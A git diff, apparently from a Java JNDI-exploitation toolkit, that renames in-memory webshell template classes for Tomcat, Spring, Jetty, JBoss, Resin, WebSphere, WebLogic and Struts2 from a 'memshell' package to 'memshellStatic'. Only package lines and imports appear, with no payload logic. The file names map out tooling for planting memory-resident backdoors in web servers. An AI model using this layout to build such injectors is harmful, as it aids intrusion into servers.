b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java index bae4dafa..f9115d34 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; +package com.qi4l.jndi.template.memshellStatic.Tomcat_Spring_Jetty; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java index 717de789..fa063f87 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; +package com.qi4l.jndi.template.memshellStatic.Tomcat_Spring_Jetty; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.java index 27f25bd2..2374592f 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; import javax.servlet.*; import java.io.IOException; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.java index 2038cd7e..fcf0084c 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; import com.ibm.websphere.wsoc.WsWsocServerContainer; import weblogic.servlet.internal.HttpConnectionHandler; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java index c5d11677..997b328b 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.java index cc581a12..a862cb0f 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; public class websphereEcho { diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.java index 59e5c160..f644c72d 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jboss; +package com.qi4l.jndi.template.memshellStatic.jboss; import javax.servlet.*; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.java index 4ad9db36..f32c770a 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jboss; +package com.qi4l.jndi.template.memshellStatic.jboss; import io.undertow.servlet.api.DeploymentInfo; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.java index a1402b98..26929913 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jetty; +package com.qi4l.jndi.template.memshellStatic.jetty; import com.sun.jmx.mbeanserver.JmxMBeanServer; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.java index aed26c71..3a5db8c5 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jetty; +package com.qi4l.jndi.template.memshellStatic.jetty; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.NamedObject; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.java index 499696b7..26a4ae2b 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.resin; +package com.qi4l.jndi.template.memshellStatic.resin; import com.caucho.server.dispatch.FilterConfigImpl; import com.caucho.server.dispatch.FilterMapper; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.java index e2c3cf50..85bc3c83 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.resin; +package com.qi4l.jndi.template.memshellStatic.resin; import com.caucho.server.dispatch.ServletConfigImpl; import com.caucho.server.dispatch.ServletManager; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/WsResin.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/resin/WsResin.java index b6bcaaf8..a93017a6 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/WsResin.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.resin; +package com.qi4l.jndi.template.memshellStatic.resin; import com.caucho.websocket.WebSocketContext; import com.caucho.websocket.WebSocketListener; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.java index e013a3e6..6c765825 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.spring; +package com.qi4l.jndi.template.memshellStatic.spring; import java.lang.reflect.Constructor; import java.lang.reflect.Field; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.java index a394dded..f8d3110b 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.spring; +package com.qi4l.jndi.template.memshellStatic.spring; import org.springframework.beans.BeansException; import org.springframework.web.context.WebApplicationContext; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.java index 45f36853..7348ffd2 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.spring; +package com.qi4l.jndi.template.memshellStatic.spring; import org.springframework.core.io.buffer.DefaultDataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.java index 22deec98..53547f11 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.struts2; +package com.qi4l.jndi.template.memshellStatic.struts2; public class Struts2ActionMS { public static String pattern; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.java index 5d89c4d1..2ef3cb34 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.core.StandardThreadExecutor; import org.apache.tomcat.util.net.NioEndpoint; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java index e7022cf1..fb187c13 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.StandardContext; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java index 4dafe5be..a6ed5047 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.Wrapper; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java index b5368665..1c2a5f64 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java index b166b3a8..9a4a3898 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java index 58b83b91..c53aeb99 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationServletRegistration; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java index eedce39d..b13ac19e 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java index 6c48880e..5048d2e4 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java index 350c565c..9969b861 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java index 4de2d282..22fd52d4 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.java index 0d410c02..8b0408a2 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.java index fe56d107..77f8acea 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.weblogic; +package com.qi4l.jndi.template.memshellStatic.weblogic; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository;